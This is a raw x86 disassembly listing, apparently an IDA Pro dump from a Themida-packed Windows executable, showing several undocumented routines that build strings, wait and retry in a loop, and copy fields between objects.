		lea	edi, [esp+132h]
		mov	[esp+130h], dx
		rep stosd
		mov	ecx, [esp+360h]
		push	0FFh
		stosw
		lea	eax, [esp+18h]
		xor	edi, edi
		push	eax
		push	0FFFFFFFFh
		push	ecx
		push	edi
		push	edi
		nop
		call	near ptr 27A0000h
		mov	esi, dword_511AB8
		lea	edx, [esp+14h]
		lea	eax, [esp+12Ch]
		push	edx
		push	eax
		call	esi	; wcscat
		lea	ecx, [esp+10h]
		lea	edx, [esp+134h]
		push	ecx
		push	edx
		call	esi	; wcscat
		mov	esi, [esp+374h]
		add	esp, 10h
		lea	eax, [esp+12Ch]
		push	edi
		push	offset dword_50DB4C
		push	offset dword_50DB4C
		push	esi
		mov	[esi+4], edi
		mov	[esi+10h], edi
		mov	[esi+14h], eax
		mov	[esi+1Ch], edi
		call	sub_43829E
; ---------------------------------------------------------------------------
		cmp	eax, 5
		jz	short loc_41C2C8
		cmp	eax, 4C3h
		jnz	short loc_41C2D1


loc_41C2C8:				; CODE XREF: ___:0041C2BFj
		push	edi
		push	edi
		push	edi
		push	esi
		call	sub_43829E
; ---------------------------------------------------------------------------


loc_41C2D1:				; CODE XREF: ___:0041C2C6j
		pop	edi
		cmp	eax, 5
		pop	esi
		jz	short loc_41C2E8
		cmp	eax, 4C3h
		jz	short loc_41C2E8
		mov	al, 1
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------


loc_41C2E8:				; CODE XREF: ___:0041C2D6j
					; ___:0041C2DDj
		xor	al, al
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41C350:				; CODE XREF: ___:00401EE7j
		sub	esp, 354h
		mov	eax, off_444E84
		mov	ecx, off_444E88
		mov	[esp+0], eax
		mov	al, byte_448F30
		push	esi
		push	edi
		mov	[esp+0Ch], ecx
		mov	[esp+14h], al
		mov	ecx, 45h
		xor	eax, eax
		lea	edi, [esp+15h]
		mov	edx, dword_444E8C
		rep stosd
		mov	ecx, off_444E7C
		mov	[esp+10h], edx
		mov	dx, word_444E80
		mov	[esp+12Ch], ecx
		stosw
		stosb
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [esp+132h]
		mov	[esp+130h], dx
		rep stosd
		mov	ecx, [esp+360h]
		push	0FFh
		stosw
		lea	eax, [esp+18h]
		push	eax
		push	0FFFFFFFFh
		push	ecx
		push	0
		push	0
		nop
		call	near ptr 27A0000h
		mov	esi, dword_511AB8
		lea	edx, [esp+14h]
		lea	eax, [esp+12Ch]
		push	edx
		push	eax
		call	esi	; wcscat
		lea	ecx, [esp+10h]
		lea	edx, [esp+134h]
		push	ecx
		push	edx
		call	esi	; wcscat
		add	esp, 10h
		lea	eax, [esp+12Ch]
		push	0
		push	0
		push	eax
		call	sub_4382A4
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_41C438
		mov	esi, dword_5118D8


loc_41C41C:				; CODE XREF: ___:0041C436j
		push	7D0h
		call	esi
		push	0
		lea	ecx, [esp+130h]
		push	0
		push	ecx
		call	sub_4382A4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41C41C


loc_41C438:				; CODE XREF: ___:0041C414j
		pop	edi
		mov	al, 1
		pop	esi
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41C490	proc near		; CODE XREF: sub_401D93j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41C490
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	0Ch
		push	4
		push	4Fh
		push	10h
		push	14h
		lea	eax, [esp+5Ch+var_3C]
		push	6
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+0BCh]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_41C490	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Fh
		push	10h
		push	14h
		lea	edx, [esp+24h]
		push	6
		push	edx
		call	sub_4019C4
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+118h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	15h
		push	4Fh
		push	10h
		push	14h
		lea	ecx, [esp+20h]
		push	6
		push	ecx
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017EE
		lea	edx, [esi+0EAh]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	4
		push	4Fh
		push	10h
		push	14h
		push	14h
		lea	eax, [esp+24h]
		push	8
		push	eax
		call	sub_4019C4
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Fh
		push	10h
		push	14h
		push	14h
		lea	edx, [esp+28h]
		push	8
		push	edx
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017EE
		push	eax
		lea	eax, [esi+60h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	14h
		push	1
		push	4
		push	10h
		push	15h
		push	4Fh
		push	10h
		push	14h
		push	14h
		lea	ecx, [esp+4Ch]
		push	8
		push	ecx
		call	sub_4019C4
		add	esp, 34h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 5
		call	sub_4017EE
		add	esi, 32h
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C710	proc near		; CODE XREF: sub_401064j

var_111		= byte ptr -111h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_F4		= byte ptr -0F4h
var_DC		= byte ptr -0DCh
var_C4		= byte ptr -0C4h
var_AC		= byte ptr -0ACh
var_94		= byte ptr -94h
var_7C		= byte ptr -7Ch
var_67		= byte ptr -67h
var_52		= byte ptr -52h
var_3D		= byte ptr -3Dh
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_41C710
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 108h
		push	ebx
		push	ebp
		mov	ebp, ecx
		push	esi
		push	edi
		lea	ecx, [esp+124h+var_10C]
		call	sub_40142E
		lea	ecx, [esp+124h+var_DC]
		mov	[esp+124h+var_4], 0
		call	sub_40142E
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_40142E
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_40142E
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_40142E
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_401B4A
		mov	esi, [esp+124h+arg_0]
		mov	bl, 5
		lea	ecx, [ebp+8Eh]
		mov	byte ptr [esp+124h+var_4], bl
		lea	edi, [esi+7Eh]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		lea	ecx, [ebp+4]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41C93C
		push	offset asc_444600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 6
		push	ecx
		mov	ecx, eax
		call	sub_40168B
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D2A1
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FDC
		push	offset asc_444C64 ; ":"
		lea	ecx, [esp+128h+var_10C]
		call	sub_401AAF
		mov	eax, [esp+124h+var_28]
		lea	ecx, [esp+124h+var_10C]
		push	eax
		call	sub_401140
		lea	ecx, [esp+124h+var_24]
		push	ecx
		lea	ecx, [esp+128h+var_DC]
		call	sub_401FDC
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+12Ch+var_F4]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 7
		call	sub_401FDC
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 8
		jz	short loc_41C8CC
		mov	ecx, eax
		call	sub_4021E9
		mov	edi, eax
		jmp	short loc_41C8CE
; ---------------------------------------------------------------------------


loc_41C8CC:				; CODE XREF: sub_41C710+1AFj
		xor	edi, edi


loc_41C8CE:				; CODE XREF: sub_41C710+1BAj
		lea	eax, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	eax
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FDC
		lea	ecx, [esp+124h+var_DC]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_401FDC
		lea	edx, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	edx
		call	sub_401FDC
		lea	eax, [esi+69h]
		lea	ecx, [edi+7Ah]
		push	eax
		call	sub_401FDC
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 0
		mov	cl, [esi+93h]
		mov	[edi+92h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], dl
		call	sub_4013DE


loc_41C93C:				; CODE XREF: sub_41C710+C0j
		lea	ecx, [ebp+60h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41CABB
		push	offset asc_444600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 9
		push	ecx
		mov	ecx, eax
		call	sub_40168B
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D2A1
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FDC
		push	offset asc_444C64 ; ":"
		lea	ecx, [esp+128h+var_10C]
		call	sub_401AAF
		mov	eax, [esp+124h+var_28]
		lea	ecx, [esp+124h+var_10C]
		push	eax
		call	sub_401140
		lea	ecx, [esp+124h+var_24]
		push	ecx
		lea	ecx, [esp+128h+var_DC]
		call	sub_401FDC
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+12Ch+var_F4]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 0Ah
		call	sub_401FDC
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 0Bh
		jz	short loc_41CA4B
		mov	ecx, eax
		call	sub_4021E9
		mov	edi, eax
		jmp	short loc_41CA4D
; ---------------------------------------------------------------------------


loc_41CA4B:				; CODE XREF: sub_41C710+32Ej
		xor	edi, edi


loc_41CA4D:				; CODE XREF: sub_41C710+339j
		lea	eax, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	eax
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FDC
		lea	ecx, [esp+124h+var_DC]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_401FDC
		lea	edx, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	edx
		call	sub_401FDC
		lea	eax, [esi+69h]
		lea	ecx, [edi+7Ah]
		push	eax
		call	sub_401FDC
		mov	byte ptr [edi+8Fh], 1
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 0
		mov	cl, [esi+93h]
		mov	[edi+92h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], dl
		call	sub_4013DE


loc_41CABB:				; CODE XREF: sub_41C710+23Fj
		lea	ecx, [ebp+32h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41CCF6
		push	offset asc_444600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 0Ch
		push	ecx
		mov	ecx, eax
		call	sub_40168B
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D2A1
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FDC
		push	offset asc_444C64 ; ":"
		lea	ecx, [esp+128h+var_10C]
		call	sub_401AAF
		mov	eax, [esp+124h+var_28]
		lea	ecx, [esp+124h+var_10C]
		push	eax
		call	sub_401140
		lea	ecx, [esp+124h+var_24]
		push	ecx
		lea	ecx, [esp+128h+var_DC]
		call	sub_401FDC
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+12Ch+var_F4]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 0Dh
		call	sub_401FDC
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	3
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		push	offset word_44955A
		mov	ecx, eax
		mov	byte ptr [esp+128h+var_4], 0Eh
		call	sub_401B86
		test	eax, eax
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		setz	[esp+124h+var_111]
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jz	short loc_41CC5E
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_4014BA
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+124h+var_DC]
		mov	byte ptr [esp+124h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+124h+var_10C]
		mov	[esp+124h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_41D312
; ---------------------------------------------------------------------------


loc_41CC5E:				; CODE XREF: sub_41C710+4D6j
		push	94h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 0Fh
		jz	short loc_41CC86
		mov	ecx, eax
		call	sub_4021E9
		mov	edi, eax
		jmp	short loc_41CC88
; ---------------------------------------------------------------------------


loc_41CC86:				; CODE XREF: sub_41C710+569j
		xor	edi, edi


loc_41CC88:				; CODE XREF: sub_41C710+574j
		lea	ecx, [esp+124h+var_10C]
		mov	byte ptr [esp+124h+var_4], bl
		push	ecx
		lea	ecx, [edi+11h]
		call	sub_401FDC
		lea	edx, [esp+124h+var_DC]
		lea	ecx, [edi+26h]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	eax
		call	sub_401FDC
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+7Ah]
		call	sub_401FDC
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 1
		mov	byte ptr [edi+91h], 0
		mov	dl, [esi+93h]
		mov	[edi+92h], dl
		mov	al, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], al
		call	sub_4013DE


loc_41CCF6:				; CODE XREF: sub_41C710+3BEj
		lea	ecx, [ebp+0BCh]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41CE9B
		push	offset asc_444600 ; " "
		lea	ecx, [esp+128h+var_F4]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		lea	edx, [esp+124h+var_7C]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+128h+var_4], 10h
		call	sub_40168B
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D2A1
		lea	eax, [esp+124h+var_52]
		lea	ecx, [esp+124h+var_AC]
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+124h+var_3D]
		push	ecx
		lea	ecx, [esp+128h+var_94]
		call	sub_401FDC
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_24]
		lea	ecx, [esp+124h+var_DC]
		push	eax
		call	sub_401FDC
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+12Ch+var_F4]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 11h
		call	sub_401FDC
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 12h
		jz	short loc_41CE0E
		mov	ecx, eax
		call	sub_4021E9
		mov	edi, eax
		jmp	short loc_41CE10
; ---------------------------------------------------------------------------


loc_41CE0E:				; CODE XREF: sub_41C710+6F1j
		xor	edi, edi


loc_41CE10:				; CODE XREF: sub_41C710+6FCj
		lea	edx, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	edx
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FDC
		lea	eax, [esp+124h+var_DC]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+124h+var_C4]
		push	ecx
		lea	ecx, [edi+65h]
		call	sub_401FDC
		lea	edx, [esp+124h+var_AC]
		lea	ecx, [edi+3Bh]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_94]
		lea	ecx, [edi+50h]
		push	eax
		call	sub_401FDC
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+7Ah]
		call	sub_401FDC
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 1
		mov	dl, [esi+93h]
		mov	[edi+92h], dl
		mov	al, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], al
		call	sub_4013DE


loc_41CE9B:				; CODE XREF: sub_41C710+5FCj
		lea	ecx, [ebp+118h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41D040
		push	offset asc_444600 ; " "
		lea	ecx, [esp+128h+var_F4]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		lea	edx, [esp+124h+var_7C]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+128h+var_4], 13h
		call	sub_40168B
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D2A1
		lea	eax, [esp+124h+var_52]
		lea	ecx, [esp+124h+var_AC]
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+124h+var_3D]
		push	ecx
		lea	ecx, [esp+128h+var_94]
		call	sub_401FDC
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_24]
		lea	ecx, [esp+124h+var_DC]
		push	eax
		call	sub_401FDC
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+12Ch+var_F4]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 14h
		call	sub_401FDC
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 15h
		jz	short loc_41CFB3
		mov	ecx, eax
		call	sub_4021E9
		mov	edi, eax
		jmp	short loc_41CFB5
; ---------------------------------------------------------------------------


loc_41CFB3:				; CODE XREF: sub_41C710+896j
		xor	edi, edi


loc_41CFB5:				; CODE XREF: sub_41C710+8A1j
		lea	edx, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	edx
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FDC
		lea	eax, [esp+124h+var_DC]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+124h+var_C4]
		push	ecx
		lea	ecx, [edi+65h]
		call	sub_401FDC
		lea	edx, [esp+124h+var_AC]
		lea	ecx, [edi+3Bh]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_94]
		lea	ecx, [edi+50h]
		push	eax
		call	sub_401FDC
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+7Ah]
		call	sub_401FDC
		mov	byte ptr [edi+8Fh], 1
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 1
		mov	dl, [esi+93h]
		mov	[edi+92h], dl
		mov	al, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], al
		call	sub_4013DE


loc_41D040:				; CODE XREF: sub_41C710+7A1j
		lea	ecx, [ebp+0EAh]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41D2A1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+128h+var_F4]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		lea	edx, [esp+124h+var_7C]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+128h+var_4], 16h
		call	sub_40168B
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D2A1
		lea	eax, [esp+124h+var_52]
		lea	ecx, [esp+124h+var_AC]
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+124h+var_3D]
		push	ecx
		lea	ecx, [esp+128h+var_94]
		call	sub_401FDC
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_24]
		lea	ecx, [esp+124h+var_DC]
		push	eax
		call	sub_401FDC
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+12Ch+var_F4]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 17h
		call	sub_401FDC
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+128h+var_F4]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		push	offset word_44955A
		mov	ecx, eax
		mov	byte ptr [esp+128h+var_4], 18h
		call	sub_401B86
		test	eax, eax
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		setz	[esp+124h+var_111]
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jz	short loc_41D1EC
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_4014BA
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+124h+var_DC]
		mov	byte ptr [esp+124h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+124h+var_10C]
		mov	[esp+124h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_41D312
; ---------------------------------------------------------------------------


loc_41D1EC:				; CODE XREF: sub_41C710+A64j
		push	94h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 19h
		jz	short loc_41D214
		mov	ecx, eax
		call	sub_4021E9
		mov	edi, eax
		jmp	short loc_41D216
; ---------------------------------------------------------------------------


loc_41D214:				; CODE XREF: sub_41C710+AF7j
		xor	edi, edi


loc_41D216:				; CODE XREF: sub_41C710+B02j
		lea	eax, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	eax
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FDC
		lea	ecx, [esp+124h+var_DC]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_401FDC
		lea	edx, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_AC]
		lea	ecx, [edi+3Bh]
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+124h+var_94]
		push	ecx
		lea	ecx, [edi+50h]
		call	sub_401FDC
		lea	edx, [esi+69h]
		lea	ecx, [edi+7Ah]
		push	edx


loc_41D268:				; DATA XREF: Themida_:0059E7E2o
		call	sub_401FDC
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 1
		mov	byte ptr [edi+91h], 1
		mov	al, [esi+93h]
		mov	[edi+92h], al
		mov	cl, [esi+94h]
		mov	[edi+93h], cl
		mov	ecx, edi
		call	sub_4013DE


loc_41D2A1:				; CODE XREF: sub_41C710+116j
					; sub_41C710+295j ...
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_4014BA
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+124h+var_DC]
		mov	byte ptr [esp+124h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+124h+var_10C]
		mov	[esp+124h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1


loc_41D312:				; CODE XREF: sub_41C710+549j
					; sub_41C710+AD7j
		mov	ecx, [esp+124h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 114h
		retn	4
sub_41C710	endp

